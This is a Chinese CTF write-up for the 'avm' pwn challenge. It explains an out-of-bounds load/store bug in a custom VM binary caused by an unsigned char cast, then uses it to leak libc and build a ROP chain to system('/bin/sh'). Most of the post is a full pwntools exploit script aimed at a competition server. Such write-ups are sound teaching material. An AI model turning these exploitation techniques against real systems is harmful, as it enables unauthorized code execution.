国赛 x 长城杯 初赛 - avm

国赛 x 长城杯 初赛 - avm

RocketDev

文件属性

属性
Arch amd64
RELRO Full
Canary on
NX on
PIE on
strip yes
libc 2.35-0ubuntu3.8

解题思路

程序构造了一个类似于mips的vm,在bss上放着vm的结构,包含32个64位寄存器,text地址, pc和text终结地址。每一条指令都占4字节,布局为5位的dest寄存器,5位的from寄存器, 12位的offset和4位的opcode。opcode共映射到10个函数,其中的f9f10对偏移的判断存在逻辑错误: 由于使用byte(unsigned char)强制转换,导致该式永远成立,因此可以实现越界store和load。

main的返回地址__libc_start_main获取libc,从main的rbp获取1(程序不支持imm), 然后构造出pop rdi/bin/shsystem的地址并覆写vm函数的返回地址,实现rop拿shell。

EXPLOIT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context.terminal = ['tmux','splitw','-h']
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './avm'

ADD = 1
SUB = 2
MUL = 3
DIV = 4
XOR = 5
AND = 6
LSHIFT = 7
RSHIFT = 8
STORE = 9
LOAD = 10

def payload(lo: int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b *$rebase(0x1afc)\nb *$rebase(0x1aaf)\n')
else:
sh = remote('39.105.102.220', 26719)
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/libc.so.6')

# 0x29d90 -> leak; 0x2a3e5 -> pop rdi; 0x1d8678 -> /bin/sh; 0x50d70 -> system
leak = 0x29d90
def assemble(buf: bytearray, op: int, dst: int, reg1: int, reg2: int):
buf.extend(p32((op << 28) + (reg2 << 16) + (reg1 << 5) + dst))

def construct(buf: bytearray, dst: int, num: int):
stack = []
while num:
stack.append(num & 1)
num >>= 1
while stack: # 10110 -> 0 1 1 0 1 -> 10110
if stack.pop(): # 1
assemble(buf, ADD, dst, dst, 1)
if len(stack) > 0:
assemble(buf, LSHIFT, dst, dst, 1)
assemble(buf, ADD, dst, dst, 2)

ops = bytearray()
assemble(ops, LOAD, 2, 0, 0xd38) # r2 = leak
assemble(ops, LOAD, 1, 0, 0xd30) # r1 = 1
construct(ops, 3, 0x2a3e5 - leak) # r3 = pop rdi
construct(ops, 4, 0x1d8678 - leak) # r4 = /bin/sh
construct(ops, 5, 0x50d70 - leak) # r5 = system
construct(ops, 6, 0x2a3e6 - leak) # r6 = ret
assemble(ops, STORE, 3, 0, 0x118)
assemble(ops, STORE, 4, 0, 0x120)
assemble(ops, STORE, 6, 0, 0x128)
assemble(ops, STORE, 5, 0, 0x130)

sh.sendafter(b'opcode', bytes(ops))

sh.clean()
sh.interactive()
sh.close()

  • 标题: 国赛 x 长城杯 初赛 - avm
  • 作者: RocketDev
  • 创建于 : 2025-03-17 18:33:00
  • 更新于 : 2025-03-24 18:33:00
  • 链接: https://rocketma.dev/2025/03/17/avm/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
国赛 x 长城杯 初赛 - avm